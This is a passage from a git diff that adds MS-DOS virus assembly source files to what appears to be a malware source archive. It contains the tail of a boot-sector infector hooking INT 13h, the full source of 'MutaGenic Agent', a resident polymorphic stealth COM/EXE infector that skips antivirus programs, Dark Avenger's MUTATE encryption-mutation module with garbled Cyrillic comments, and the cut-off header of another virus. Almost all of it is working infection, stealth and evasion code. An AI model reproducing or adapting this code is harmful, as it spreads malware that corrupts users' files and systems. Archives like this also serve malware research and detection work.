cs:7cdh,0 ; (727D:07CD=2) + nop + xor dl,dl + clc ;Clear carry flag + jmp short loc_ret_20 +loc_19: stc ;Set carry flag +loc_ret_20: retn + + +; ------------------------------------------------------------------------ +; +; ------------------------------------------------------------------------ +sub_4: mov ax,1FCh + mov cs:7bch,ax ; (727D:07BC=0DC3Eh) + mov byte ptr cs:7b9h,1 ; (727D:07B9=16h) + nop + mov word ptr cs:7bah,2 ; (727D:07BA=812Eh) +loc_21: + mov ax,201h + lea bx,cs:[7D1h] ; Load effective addr + mov cx,cs:7bah ; (727D:07BA=812Eh) + mov dh,byte ptr cs:7b9h ; (727D:07B9=16h) + mov dl,80h + call read_write + jnc loc_22 ; Jump if carry=0 + jmp loc_ret_28 ; (0610) +loc_22: + mov word ptr cs:7cch,cx ; (727D:07CC=274h) + mov cs:7cbh,dh ; (727D:07CB=0) + call sub_7 ; (06E9) + mov cs:7bah,cx ; (727D:07BA=812Eh) + mov cs:7b9h,dh ; (727D:07B9=16h) + dec word ptr cs:7b7h ; (727D:07B7=75AAh) + xor bx,bx ; Zero register +loc_23: + cmp bx,cs:7bch ; (727D:07BC=0DC3Eh) + ja loc_25 ; Jump if above + mov ax,cs:7d1h[bx] ; (727D:07D1=1EC3h) + or ax,ax ; Zero ? + jnz loc_24 ; Jump if not zero + mov ax,cs:7d3h[bx] ; (727D:07D3=5350h) + or ax,ax ; Zero ? + jz loc_26 ; Jump if zero +loc_24: + inc bx + inc bx + jmp short loc_23 ; (05A1) +loc_25: + cmp word ptr cs:7b7h,0 ; (727D:07B7=75AAh) + jne loc_21 ; Jump if not equal + jmp short loc_27 ; (060F) + db 90h +loc_26: + mov ax,0FFFFh + mov cs:7d1h[bx],ax ; (727D:07D1=1EC3h) + mov cs:7d3h[bx],ax ; (727D:07D3=5350h) + mov byte ptr cs:7ceh,1 ; (727D:07CE=0F8h) + nop + mov ax,cs:data_55 ; (727D:0DE7=0F6F6h) + sub ax,cs:7b7h ; (727D:07B7=75AAh) + dec ax + mov dx,200h + mul dx ; dx:ax = reg * ax + add bx,ax + shr bx,1 ; Shift w/zeros fill + dec bx + dec bx + mov ax,bx + xor bh,bh ; Zero register + mov bl,cs:data_49 ; (727D:0DDE=0F6h) + mul bx ; dx:ax = reg * ax + add ax,cs:7b5h ; (727D:07B5=550Fh) + add ax,word ptr cs:data_56 ; (727D:0DE9=0F6F6h) + call sub_5 ; (0611) + mov dl,80h + clc ; Clear carry flag + jmp short loc_ret_28 ; (0610) +loc_27: stc +loc_ret_28: retn + + +; ------------------------------------------------------------------------ +; +; ------------------------------------------------------------------------ +sub_5: xor dx,dx ; Zero register + mov bx,cs:7b3h ; (727D:07B3=0CF3Eh) + div bx ; ax,dx rem=dx:ax/reg + mov ch,al + mov cl,6 + shl ah,cl ; Shift w/zeros fill + mov cl,ah + xor ax,ax ; Zero register + xchg ax,dx + mov bx,word ptr cs:data_56 ; (727D:0DE9=0F6F6h) + div bx ; ax,dx rem=dx:ax/reg + mov dh,al + inc dl + add cl,dl + retn + + +; ------------------------------------------------------------------------ +; +; ------------------------------------------------------------------------ +sub_6: mov al,cs:data_49 ; (727D:0DDE=0F6h) + mov cs:data_3e,al ; (727D:000D=0) + mov ax,cs:data_50 ; (727D:0DDF=0F6F6h) + mov cs:data_4e,ax ; (727D:000E=0) + mov ax,cs:data_52 ; (727D:0DE2=0F6F6h) + mov cs:data_5e,ax ; (727D:0011=0) + mov ax,cs:data_53 ; (727D:0DE4=0F6F6h) + mov cs:data_6e,ax ; (727D:0013=0) + mov al,cs:data_54 ; (727D:0DE6=0F6h) + mov cs:data_7e,al ; (727D:0015=0) + mov ax,cs:data_55 ; (727D:0DE7=0F6F6h) + mov cs:data_8e,ax ; (727D:0016=0) + mov ax,word ptr cs:data_56 ; (727D:0DE9=0F6F6h) + mov cs:data_9e,ax ; (727D:0018=0) + mov ax,word ptr cs:data_57 ; (727D:0DEB=0F6F6h) + mov cs:data_10e,ax ; (727D:001A=0) + mov byte ptr cs:[1FDh],dl ; (727D:01FD=7Eh) + mov cs:[drive_head-100h],dx + mov cs:[stopa_sect-100h],cx + mov ax,301h + lea bx,cs:[0DD1h] ; Load effective addr + mov dl,cs:7cah ; (727D:07CA=40h) + call read_write + jc loc_ret_30 ; Jump if carry Set + call sub_7 ; (06E9) + push cx + push dx + mov ah,4 + int 1Ah ; Real time clock ah=func 04h + ; read date cx=year, dx=mon/day + mov cs:[year-100h],cx ; (727D:079C=0DD1h) + mov cs:[month-100h],dh ; (727D:079E=0B9h) + mov ax,79Fh + sub ax,200h + mov cl,9 + shr ax,cl ; Shift w/zeros fill + inc al + pop dx + pop cx + mov ah,3 + mov bx,200h + call read_write + jc loc_ret_30 ; Jump if carry Set + mov al,cs:7ceh ; (727D:07CE=0F8h) + lea bx,cs:[7D1h] ; Load effective addr + mov cx,word ptr cs:7cch ; (727D:07CC=274h) + mov dh,cs:7cbh ; (727D:07CB=0) + call read_write + jc loc_ret_30 ; Jump if carry Set + mov al,1 + xor bx,bx ; Zero register + mov cx,1 + xor dh,dh ; Zero register + cmp dl,80h + jne loc_29 ; Jump if not equal + inc dh +loc_29: call read_write +loc_ret_30: retn + +; ------------------------------------------------------------------------ +; +; ------------------------------------------------------------------------ +sub_7: push ax + inc cl + mov al,cl + and al,3Fh ; '?' + cmp al,cs:7beh ; (727D:07BE=0Dh) + jb loc_31 ; Jump if below + and cl,0C0h + inc cl + inc dh + cmp dh,cs:7bfh ; (727D:07BF=0) + jb loc_31 ; Jump if below + xor dh,dh ; Zero register + add ch,1 + jnc loc_31 ; Jump if carry=0 + add cl,40h ; '@' + jnc loc_31 ; Jump if carry=0 + or cl,0C0h +loc_31: pop ax + retn + +; ------------------------------------------------------------------------ +; +; ------------------------------------------------------------------------ +read_write: push ax + push bx + push cx + push dx + mov cs:7c0h,ax ; (727D:07C0=7502h) + mov cs:7c2h,bx ; (727D:07C2=2E0Dh) + mov cs:7c4h,cx ; (727D:07C4=11A1h) + mov cs:7c6h,dx ; (727D:07C6=2E0Eh) +loc_32: mov cx,4 +locloop_33: push cx + mov ah,byte ptr cs:7c0h+1 ; (727D:07C1=75h) + mov al,1 + mov bx,cs:7c2h ; (727D:07C2=2E0Dh) + mov cx,cs:7c4h ; (727D:07C4=11A1h) + mov dx,cs:7c6h ; (727D:07C6=2E0Eh) + pushf ; Push flags + call dword ptr ds:data_1e ; (0000:0230=0) + pop cx + jnc loc_34 ; Jump if carry=0 + xor ah,ah ; Zero register + pushf ; Push flags + call dword ptr ds:data_1e ; (0000:0230=0) + loop locloop_33 ; Loop if cx > 0 + + stc ; Set carry flag + jmp short loc_35 ; (078F) +loc_34: + dec byte ptr cs:7c0h ; (727D:07C0=2) + cmp byte ptr cs:7c0h,0 ; (727D:07C0=2) + je loc_35 ; Jump if equal + mov cx,cs:7c4h ; (727D:07C4=11A1h) + mov dx,cs:7c6h ; (727D:07C6=2E0Eh) + call sub_7 ; (06E9) + mov cs:7c4h,cx ; (727D:07C4=11A1h) + mov cs:7c6h,dx ; (727D:07C6=2E0Eh) + mov bx,cs:7c2h ; (727D:07C2=2E0Dh) + add bx,200h + mov cs:7c2h,bx ; (727D:07C2=2E0Dh) + jmp short loc_32 ; (072D) +loc_35: + pop dx + pop cx + pop bx + pop ax + retn + + +; -------------------------------------------------------------------------- +; Nacitanie BOOT sektora +; Vracia CF = 1 ak operacia prebehla neuspesne, boot je zly, nakazeny, +; alebo command nie je READ +; -------------------------------------------------------------------------- +read_boot: cmp ah,2 ;Read command + jne read_boot_end + mov al,1 ;Set 1 sector for READ_WRITE + mov bx,buffer_boot + mov cx,1 ;Boot sector + xor dh,dh + cmp dl,80h ;Pracujeme s diskom D: E: .. ? + ja read_boot_end ;Ak ano odchod + jnz obskok ;Skok ak nepracujem s C: + inc dh +obskok: call read_write ;Read boot sector + jc return_ + cmp word ptr cs:[buffer_boot+200h-2],0aa55h ;Test Boot flag + jnz read_boot_end ;Toto nie je Boot sect. + cmp word ptr cs:[buffer_boot+11],200h ;Sector size = 200h ? + jnz read_boot_end + mov ax,cs:[buffer_boot+40h] ;Testuj ci uz nie je nakazeny + cmp ax,cs:[40h] + jz read_boot_end ;Ak ano odchod (Set error) + clc ;OK + ret +read_boot_end: stc ;Error +return_: ret + + +; --------------------------------------------------------------------------- +; Test casova prodlevy 1 sekundy +; Vracia CARRY = 1 ak od poslaedneho volnania neubehla 1 sekunda +; --------------------------------------------------------------------------- +timeout: push ds ;Backup registers + push ax + push bx + mov ax,40h + mov ds,ax + mov si,6ch + mov ax,[si] ;AX = <0000:046C> - timer cnt + mov bx,ax + sub ax,cs:[timer_tick-100h] ;Odpocitaj poslednu pouzitu hodn. + cmp ax,18 ;Ubehla aspom 1 sekunda ? + jb este_nie ;Jump if no + mov cs:7cfh,bx + clc ;Set flag time OK + jmp short obskok_t +este_nie: stc ;Set flag este neubehla 1 sek. +obskok_t: pop bx ;Restore registers + pop ax + pop ds + ret + +; ---------------------------------------------------------------------------- +; Nahodna melodia +; ---------------------------------------------------------------------------- +sound: push ds + mov ax,40h + mov ds,ax + mov si,6Ch + mov al,ds:data_2e ; (0040:006C=3Ah) + cmp al,0DDh + jb loc_40 ; Jump if below + mov cx,24h + mov si,ds:data_2e ; (0040:006C=0E43Ah) + cld ; Clear direction + +locloop_37: push cx + lodsb ; String [si] to al + and al,7 + cbw ; Convrt byte to word + mov bx,ax + xor ax,ax ; Zero register + mov dx,12h + div word ptr cs:[74Ah][bx] ; (727D:074A=230h) ax,dxrem=dx:ax/data + mov bx,ax + mov al,0B6h + out 43h,al ; port 43h, 8253 wrt timr mode + mov ax,bx + out 42h,al ; port 42h, 8253 timer 2 spkr + mov al,ah + out 42h,al ; port 42h, 8253 timer 2 spkr + in al,61h ; port 61h, 8255 port B, read + or al,3 + out 61h,al ; port 61h, 8255 B - spkr, etc + mov cx,0FFFFh + +locloop_38: loop locloop_38 ; Loop if cx > 0 + + in al,61h ; port 61h, 8255 port B, read + and al,0FCh + out 61h,al ; port 61h, 8255 B - spkr, etc + ; al = 0, disable parity + mov cx,0FFFFh + +locloop_39: + loop locloop_39 ; Loop if cx > 0 + + pop cx + loop locloop_37 ; Loop if cx > 0 + +loc_40: pop ds + retn + + db 6, 1, 26h, 1, 4Ah, 1 + db 5Bh, 1, 88h, 1, 0B8h, 1 + db 0EEh, 1, 0Ch, 2 + +; --------------------------------------------------------------------------- +; Konverzia roku (posl.2 BCD cisla) a mesiaca na pocet mesiacov +; Prepocet CL (rok), DH (mesiac) -> AX (mesiace) +; Pr. 6.12.1991 (9*10+1)*12 + (10+2) +; --------------------------------------------------------------------------- +year2month: mov al,cl + shr al,1 ;Horne 4 bity + shr al,1 + shr al,1 + shr al,1 + mov bl,10 + mul bl ;Nasob 10 + and cl,0Fh ;Dolne 4 bity + add al,cl ;Pripocitaj + mov bl,12 + mul bl ;Rok ma 12 mesiacov + test dh,10h ;Mesiac 10,11,12 ? + jz no_zima + add ax,10 ;Pridaj +no_zima: xchg dh,dl +; and dx,0Fh + db 83h,0e2h,0fh ;Original instruction for prev. + add ax,dx + retn + +; ---------------------------------------------------------------------------- +; Predefinovanie INT 13h na NEW_13 +; ---------------------------------------------------------------------------- +redef_13: cld + mov si,13h*4 ;Offset INT 13 in Zero segment + mov di,si + lodsw ;Load INT 13h + mov word ptr cs:[old_13-100h],ax + lodsw + mov word ptr cs:[old_13-100h+2],ax + mov ax,offset new_13-100h + stosw ;Store new_13 + mov ax,cs + stosw + retn + +; ---------------------------------------------------------------------------- +flag_action db 1 +pom_months dw 445h +year dw 1991h +month db 6 + db '-- Made In Taiwan --' + + +sect_allhead dw 12h +start_data dw 0ch +backup_fat_size dw 2 + db 2,10h,0 +fat_size_byte dw 3fah +sect_per_track2 db 0ah +head_cnt db 2 + db 1,3,0,6,1,9,0,1 + db 1,0 +drive_number db 0 +head_for_fat db 0 +fat_block dw 2 +fat_size_block db 2 +timer_tick dw 2035h +buffer label byte + + db 0fdh + db 0FFh, 0FFh, 3, 40h, 0, 5 + db 60h, 0, 7, 80h, 0, 9 + db 0A0h, 0, 0Bh, 0C0h, 0, 0Dh + db 0E0h, 0, 0Fh, 0, 1, 11h + db 20h, 1, 13h, 40h, 1, 15h + db 60h, 1, 17h, 0F0h, 0FFh, 19h + db 0A0h, 1, 1Bh, 0C0h, 1, 1Dh + db 0E0h, 1, 1Fh, 0, 0F6h + db 1245 dup (0F6h) +data_49 db 0F6h +data_50 dw 0F6F6h +data_51 db 0F6h +data_52 dw 0F6F6h +data_53 dw 0F6F6h +data_54 db 0F6h +data_55 dw 0F6F6h +data_56 db 0F6h + db 0F6h +data_57 db 0F6h + db 483 dup (0F6h) +data_58 dw 0F6F6h + db 303 dup (0F6h) + +mbug ends + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.mutagen.3368.asm b/MSDOS/Virus.MSDOS.Unknown.mutagen.3368.asm new file mode 100644 index 00000000..490c2519 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mutagen.3368.asm @@ -0,0 +1,570 @@ +; ========================================================================> +; MutaGenic Agent ]I[ +; by MnemoniX- 1994 +; Resident COM/EXE infecting virus +; Infect on execution +; Won't infect ??SCAN.EXE or F-PROT.EXE +; Polymorphic, using MutaGen v2.0 +; Uses full stealth (disinfects in memory on open) +; A tricky virus, so BE CAREFUL. +; Usually nails COMMAND.COM on first run. +; ========================================================================> + +MGEN_SIZE equ 1938 ; for MutaGen 2.0 + +code segment byte public 'code' + org 0 + assume cs:code,ds:code + extrn _mutagen:near + +start: + db 0E9h,02,00,4Dh,47h +virus_begin: + push ds es + + call $+3 + pop bp + sub bp,offset $-1 + + mov ax,577Eh ; residency test + int 21h + cmp ax,0A881h + je installed + + mov ax,ds + dec ax + mov ds,ax + + sub word ptr ds:[3],((MEM_SIZE+1023) / 1024) * 64 + sub word ptr ds:[12h],((MEM_SIZE+1023) / 1024) * 64 + mov es,word ptr ds:[12h] + + push cs ; copy virus into memory + pop ds + xor di,di + mov si,bp + mov cx,(virus_end - start) / 2 + 1 + rep movsw + + xor ax,ax ; capture interrupt 21 + mov ds,ax + + mov si,21h * 4 + mov di,offset old_int_21 + movsw + movsw + + mov word ptr [si - 4],offset new_int_21 + mov [si - 2],es +installed: + pop es ds + + cmp sp,'GM' ; EXE? + je exe_exit + + mov di,100h + push di + lea si,[bp + read_buffer] + movsw + movsw + movsb + call fix_regs + + ret + +exe_exit: + mov ax,ds + add ax,10h + add cs:[bp + exe_cs],ax + add ax,cs:[bp + exe_ss] + cli + mov ss,ax + mov sp,cs:[bp + exe_sp] + sti + call fix_regs + db 0EAh +exe_ip dw 0 +exe_cs dw 0 + +exe_ss dw 0 +exe_sp dw 0 + +fix_regs: + xor ax,ax + xor bx,bx + cwd + xor di,di + mov si,100h + xor bp,bp + ret + +int_21: + pushf + call dword ptr cs:[old_int_21] + ret + +new_int_21: + cmp ax,577Eh + je pass + cmp ah,11h + je dir_stealth_1 + cmp ah,12h + je dir_stealth_1 + cmp ah,4Eh + je dir_stealth_2 + cmp ah,4Fh + je dir_stealth_2 + cmp ah,3Dh + jne next_1 + jmp file_open +next_1: + cmp ah,6Ch + jne next_2 + jmp file_open +next_2: + cmp ax,4B00h + jne next_3 + jmp execute +next_3: + cmp ah,3Fh + jne next_4 + jmp file_read +next_4: + cmp ax,5700h + jne next_5 + jmp fix_date +next_5: +int_21_exit: + db 0EAh +old_int_21 dd 0 + +pass: + not ax + iret + +dir_stealth_1: + call int_21 ; do it + test al,al ; if al = -1 + js cant_find ; then don't bother + + push ax bx es ; check file for infection + + mov ah,2Fh + int 21h + + cmp byte ptr es:[bx],-1 ; check for extended FCB + jne no_ext_FCB + add bx,7 + +no_ext_FCB: + mov ax,es:[bx + 19h] + cmp ah,100 ; check years - + jb fixed ; if 100+, infected + + ror ah,1 + sub ah,100 + rol ah,1 + mov es:[bx + 19h],ax + + sub word ptr es:[bx + 1Dh],VIRUS_SIZE + 328 + sbb word ptr es:[bx + 1Fh],0 +fixed: + pop es bx ax +cant_find: + iret + +dir_stealth_2: + call int_21 ; perform file search + jnc check_file_2 ; if found, proceed + retf 2 ; nope, leave +check_file_2: + push ax bx si es + + mov ah,2Fh ; find DTA + int 21h + + mov ax,es:[bx + 18h] + cmp ah,100 ; check for infection marker + jb fixed_2 + + ror ah,1 ; fix up date + sub ah,100 + rol ah,1 + mov es:[bx + 18h],ax + + sub word ptr es:[bx + 1Ah],VIRUS_SIZE + 328 + sbb word ptr es:[bx + 1Ch],0 +fixed_2: + pop es si bx ax ; done + clc + retf 2 + +file_open: + call int_21 ; open file + jc open_fail ; carry set, open failed + + cmp ax,5 ; if handle is a device, + jb dont_bother ; don't bother with it + + push ax bx di es + + xchg ax,bx + + push bx + mov ax,1220h ; get system file table + int 2Fh ; entry + + nop ; anti-SCAN + + mov bl,es:[di] + mov ax,1216h + int 2Fh + pop bx + + mov ax,es:[di + 0Fh] ; check time stamp + cmp ah,100 + jb dont_stealth + + cmp word ptr es:[di],1 ; if file has already + ja dont_stealth ; been opened, don't stealth + + sub es:[di + 11h],VIRUS_SIZE + 328 + sbb word ptr es:[di + 13h],0 ; stealth it ... change file + ; size + +dont_stealth: + pop es di bx ax ; restore everything +dont_bother: + clc +open_fail: + retf 2 ; and return + +file_read: + cmp bx,5 ; if read from device, + jae check_it_out ; don't bother + jmp forget_it + +check_it_out: + push si di es ax bx cx + + push bx + mov ax,1220h + int 2Fh + + mov ax,1216h + mov bl,es:[di] + int 2Fh + pop bx + + mov ax,es:[di + 0Fh] ; 100+ years + cmp ah,100 + jae check_pointer ; is the magic number + jmp no_read_stealth +check_pointer: + cmp word ptr es:[di + 17h],0 ; if file pointer above 64K, + je check_pointer_2 ; then skip it + jmp no_read_stealth + +check_pointer_2: + cmp word ptr es:[di + 15h],28 ; if file pointer under 28, + jae no_read_stealth ; then DON'T + + push es:[di + 15h] ; save it + + mov ah,3Fh + call int_21 ; do the read function + + pop cx ; now find how many bytes + push ax ; (Save AX value) + sub cx,28 ; we have to change ... + neg cx ; and where + + cmp ax,cx ; if more than 28 were read, + jae ok ; ok + + xchg ax,cx ; otherwise, switch around +ok: + push ds cx dx + + push es:[di + 15h] ; save current file pointer + push es:[di + 17h] + + add es:[di + 11h],VIRUS_SIZE + 328 + adc word ptr es:[di + 13h],0 + mov ax,es:[di + 11h] ; fix up file size to prevent + sub ax,28 ; read past end of file + + mov es:[di + 15h],ax + mov ax,es:[di + 13h] + mov es:[di + 17h],ax + + push cs ; now read in real first 28 + pop ds ; bytes + mov dx,offset read_buffer + mov cx,28 + mov ah,3Fh + call int_21 + + sub es:[di + 11h],VIRUS_SIZE + 328 + sbb word ptr es:[di + 13h],0 + + pop es:[di + 17h] ; restore file pointer + pop es:[di + 15h] + + pop dx cx ds ; now we move our 28 bytes + push ds ; into theirs ... + pop es + + mov di,dx + mov si,offset read_buffer + push cs + pop ds + rep movsb ; done + + push es ; restore DS + pop ds + + pop ax + pop cx bx es es di si + clc + retf 2 + +no_read_stealth: + pop cx bx ax es di si +forget_it: + jmp int_21_exit + +fix_date: + call int_21 ; get date + jc an_error + cmp dh,100 ; if years > 100, + jb date_fixed ; fix it up + ror dh,1 + sub dh,100 + rol dh,1 +date_fixed: + iret +an_error: + retf 2 + +execute: + push ax si + mov si,dx +find_ext: + lodsb + test al,al + je not_av + cmp al,'.' + jne find_ext + + cmp ds:[si],'XE' ; check for ??SCAN.EXE + jne not_av + cmp ds:[si - 3],'NA' + jne f_prot + cmp ds:[si - 5],'CS' + je av_prog +f_prot: + cmp ds:[si - 3],'TO' ; check for F-PROT.EXE + jne not_av + cmp ds:[si - 5],'RP' + jne not_av +av_prog: + pop si ax + jmp int_21_exit +not_av: + pop si ax + push ax bx cx dx si di ds es + mov ax,3D00h + call int_21 + jnc opened + jmp cant_open +opened: + xchg bx,ax + + push bx + mov ax,1220h + int 2Fh + mov ax,1216h + mov bl,es:[di] + int 2Fh + pop bx + + mov word ptr es:[di + 2],2 + + push cs + pop ds + + mov ah,3Fh + mov dx,offset read_buffer + mov cx,28 + call int_21 + + cmp read_buffer,'ZM' + jne infect_com + jmp infect_exe + +infect_com: + cmp read_buffer[3],'GM' + je dont_infect + + mov ax,es:[di + 11h] + mov es:[di + 15h],ax + sub ax,3 + mov word ptr new_jump[1],ax + + add ax,103h + xchg dx,ax + call write_it + + mov cx,5 + mov dx,offset new_jump + mov ah,40h + call int_21 +stamp_n_close: + mov cx,es:[di + 0Dh] + mov dx,es:[di + 0Fh] + ror dh,1 + add dh,100 + rol dh,1 + mov ax,5701h + call int_21 +dont_infect: + mov ah,3Eh + call int_21 +cant_open: + pop es ds di si dx cx bx ax + jmp int_21_exit + +infect_exe: + cmp word ptr read_buffer[26],0 + ja dont_infect ; don't infect overlay .EXE + + cmp word ptr read_buffer[16],'GM' + je dont_infect ; infected already + + push es di + + push cs ; save this header + pop es + + mov si,offset read_buffer + mov di,offset orig_header + mov cx,14 + rep movsw + + pop di es + + mov ax,word ptr orig_header[20] + mov exe_ip,ax + mov ax,word ptr orig_header[22] + mov exe_cs,ax + mov ax,word ptr orig_header[14] + mov exe_ss,ax + mov ax,word ptr orig_header[16] + mov exe_sp,ax + + mov ax,es:[di + 11h] ; file size + mov dx,es:[di + 13h] + + push ax dx ; (save these for later) + + push bx + mov cl,12 + shl dx,cl + mov bx,ax + mov cl,4 + shr bx,cl + add dx,bx + and ax,15 + pop bx + + sub dx,word ptr orig_header[8] + mov word ptr orig_header[22],dx + mov word ptr orig_header[20],ax + + add dx,80h ; give stack some space + mov word ptr orig_header[14],dx + mov word ptr orig_header[16],'GM' + + pop dx ax + add ax,VIRUS_SIZE + 28 + adc dx,0 + + mov cx,512 ; in pages + div cx ; then save results + inc ax + mov word ptr orig_header[2],dx + mov word ptr orig_header[4],ax + + mov ax,4202h ; to EOF + cwd + xor cx,cx + call int_21 + + mov dx,word ptr orig_header[20] + call write_it + + mov cx,28 + mov dx,offset orig_header + mov ah,40h + call int_21 + + jmp stamp_n_close + +write_it: + push dx + mov ax,2524h ; trap int 24 + mov dx,offset int_24 + call int_21 + pop dx + + push es di ; call MutaGen + push cs + pop es + mov cx,VIRUS_SIZE + mov di,offset encrypt_buffer + mov si,offset virus_begin + call _mutagen + pop di es + + mov si,cx + mov ah,40h + call int_21 + + sub si,VIRUS_SIZE + 300 + neg si + mov cx,si + mov ah,40h + mov dx,offset encrypt_buffer + 200 + call int_21 + + mov cx,28 ; for stealth + mov dx,offset read_buffer + mov ah,40h + call int_21 + + mov word ptr es:[di + 15h],0 + mov word ptr es:[di + 17h],0 + ret + + db 'MutaGenic Agent ]I[',0 + +int_24: ; int 24 handler + mov al,3 + iret + +new_jump db 0E9h,00,00,4Dh,47h +pop_buffer dw 0 +read_buffer dw 14 dup (20CDh) + +virus_end equ $ + MGEN_SIZE +VIRUS_SIZE equ virus_end - virus_begin + +orig_header equ virus_end +encrypt_buffer equ virus_end + 28 +end_heap equ virus_end + 28 + VIRUS_SIZE + 300 + +MEM_SIZE equ end_heap - start + +code ends + end start diff --git a/MSDOS/Virus.MSDOS.Unknown.mutate.asm b/MSDOS/Virus.MSDOS.Unknown.mutate.asm new file mode 100644 index 00000000..2dab2d46 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mutate.asm @@ -0,0 +1,188 @@ + page ,132 + name mutate + title MUTATE - A Self-mutating Module for Viruses + .radix 16 + .model tiny + .code + +; This source code is a copyrighted material +; (C) 1990 DARK AVENGER + + org 100 + +timer equ 46C + +start: + jmp prog + +; „¥ª®¤¨°  ®±­®¢­ ²  · ±² ¨ ®¯°¥¤¥«¿ ­®¬¥°  ­  £¥­¥° ¶¨¿²  ¨  ¤°¥±  ­  v_entry. +; ‡  ¤  ­ ¯° ¢¨ ¯®±«¥¤­®²®, ¢§¨¬¥ ®¯¥° ­¤  ­  JMP-a, ª®©²® ²°¿¡¢  ¤  ±²®¨ ­  +;  ¤°¥± 100, ².¥. ­ ¯° ¢¥­® ¥ ± ¬® §  .COM ´ ©«®¢¥. + +v_entry: + xchg ax,bp + mov si,100 + inc si + add si,[si] + mov di,si + xor dx,dx + mov cx,(top-encrypt)/2-1 + push cx +calcgen: + xor dx,[si+encrypt-v_entry+2] + org $-1 + inc si + inc si + dec cx + jns calcgen + pop ax +decrypt: + xor [di+encrypt-v_entry+2],dx + org $-1 + inc di + inc di + dec ax + jns decrypt +encrypt: + xchg si,si ;’¥§¨ ¨­±²°³ª¶¨¨ ±  ­¥®¡µ®¤¨¬¨ + xchg dx,dx + add si,encrypt-top+2 + dec dx + +; ’³ª ²°¿¡¢  ¤  ±¥ ±«®¦¨ ¨­¨¶¨ «¨§¨° ¹ ²  · ±² ­  ¢¨°³± .  ° ¬¥²°¨: +; DX = -­®¬¥° ­  £¥­¥° ¶¨¿²  +; SI =  ¤°¥± ­  ¥²¨ª¥²  v_entry. + +; . . . +prog: + push ds + xor ax,ax + mov ds,ax + mov ax,ds:[timer] + pop ds + call mutate + mov ax,4C00 + int 21 + +; ’ §¨ ¯®¤¯°®£° ¬  ±º§¤ ¢  ±«³· ©­  ¬³² ¶¨¿ ­  ¤¥ª®¤¨° ¹ ²  · ±².  ° ¬¥²°¨: +; AX = ±«³· ©­® ·¨±«® (¢§¥²® ®² 0:46C) + +mutate: + cld + xor dx,dx + push cs + pop ds + mov cx,90 + div cx + call getcode + mov ds:[15],al + call getcode + mov ds:[1E],al + xchg ax,dx + mov dl,6 + div dl + mov si,offset muttbl + mov bx,offset xlatbl1 + call buildblk + mov [si],al + inc si + mov bx,offset xlatbl2 + call buildblk2 + mov bx,offset xlatbl3 + call buildblk2 + mov bx,offset muttbl-1 + mov si,offset xlatdat + mov cx,xlatbl1-xlatdat +nextgen: + lodsb + test al,al + jz cantchg + push ax + and al,111b + xlat + mov ah,0F8 + xchg ax,dx + pop ax + push cx + mov cl,3 + shr al,cl + jz skipxlat + xlat + shl al,cl + jz skipxlat + xlat + shl al,cl + or dl,al + mov dh,0c0 +skipxlat: + pop cx + and [si-(xlatdat+1-v_entry)],dh + or [si-(xlatdat+1-v_entry)],dl +cantchg: + loop nextgen + ret + +buildblk2: + mov al,ah +buildblk: + shr al,1 + mov dl,al + push ax + adc al,1 + cmp al,3 + jb setblk + sub al,3 +setblk: + or dl,al + xlat + mov [si],al + inc si + pop ax + xlat + mov [si],al + inc si + mov al,dl + xor al,3 + xlat + ret + +getcode: + shr dx,1 + mov al,79 + jnc got + or al,100b +got: + ret + +xlatdat db 0,4,0,0,4,0,26,0 + db 2c,0,9,2,0,0,2,0 + db 0e,0,4,4,2,0,0,3 + db 0,0f,0,5,5,3,0,0 + db 0,4,0,1 + +xlatbl1 db 0,1,2 +xlatbl2 db 3,6,7 +xlatbl3 db 7,4,5 + +chksum dw 1A03 ;Š®­²°®«­  ±³¬  ­  ¢¨°³± . +; ‚ˆŒ€ˆ…! ’ §¨ ª®­²°®«­  ±³¬  ²°¿¡¢  ¤  ±¥ ±¬¥²­¥ ­  °ºª . ’¿ ±¥ ±¬¿²  ª ²® +; ±¥ ¥XOR-­ ² ¢±¨·ª¨ 16-¡¨²®¢¨ ¤³¬¨ ¬¥¦¤³ encrypt ¨ top. °®¿ ¨¬ ²°¿¡¢  ¤  ¡º¤¥ +; ­¥·¥²­® ·¨±«®,   ®±¢¥­ ²®¢  ± ¬¨¿ ¥²¨ª¥² chksum ²°¿¡¢  ¤  ¡º¤¥ ­  £° ­¨¶  ­  +; ¤³¬ . „¨°¥ª²¨¢¨²¥ errnz ¢ ª° ¿ ­  ´ ©«  ®±¨£³°¿¢ ² ²®¢ . Ž±¢¥­ ²®¢   ª® ¬¥¦¤³ +; encrypt ¨ top ¨¬  ­¿ª ª¢¨ ¤ ­­¨ ¨«¨ ª®¤ ª®¨²® ±¥ ¯°®¬¥­¿², ²¿ ²°¿¡¢  ¤  ±¥ +; ±¬¿²  ¯® ®¯¨± ­¨¿  «£®°¨²º¬ ¯°¨ ¢±¿ª® § ° §¿¢ ­¥ ­  ´ ©«. + +; ’³ª ²°¿¡¢  ¤  ±¥ ±«®¦¨ ®±² ­ « ²  · ±² ®² ¢¨°³±  + +; . . . + +top: + .errnz (encrypt-v_entry) mod 2 + .errnz (top-encrypt) mod 4-2 + .errnz (top-v_entry) mod 2 + .errnz (chksum-v_entry) mod 2 + +muttbl db 7 dup(?) ; ¡®²­  ®¡« ±² §  ¯®¤¯°®£° ¬ ²  mutate + + end start + \ No newline at end of file diff --git a/MSDOS/Virus.MSDOS.Unknown.mutatint.asm b/MSDOS/Virus.MSDOS.Unknown.mutatint.asm new file mode 100644 index 00000000..178affa2 --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.mutatint.asm @@ -0,0 +1,415 @@ +;**************************************************************************** +;* The Mutating Interrupt Virus -Soltan Griss- +;* [RABID] -=+ Front 242 +=- +;* +;* +;* Well this is my Third Release of many to come. This virus uses the latest +;* of RABID's new inventions the "MUTATING INTERRUPT", what it does (nothing +;* to special) is Mutate all int 21h (CD 21) to a random interrupt. +;* Then before executation it will change it back to INT 21. +;* +;* Alot of people are wondering if RABID is Still around. YES. Wea reback and +;* Kicking, although right now we have limited members, it soon will change. +;* +;* +;* Many Thanks go out to Data Disruptor, who originally came up with the +;* interrupt swapping idea. +;* +;* +;* SOON TO COME: Why use conventional memory when do has left so many holes?? +;* Find out soon in one of our next RELEASES. +;* +;* A Real Mutating virus with moveable modular segments!!! +;* +;* +;* +;* A Word of thanks go out to. +;* +;* YAM- Keep up the hard work. Alot of improvement come with time. +;* Admiral Bailey. Waitinf for the next version of the IVP! +;* +;* +;**************************************************************************** + + + +seg_a segment + assume 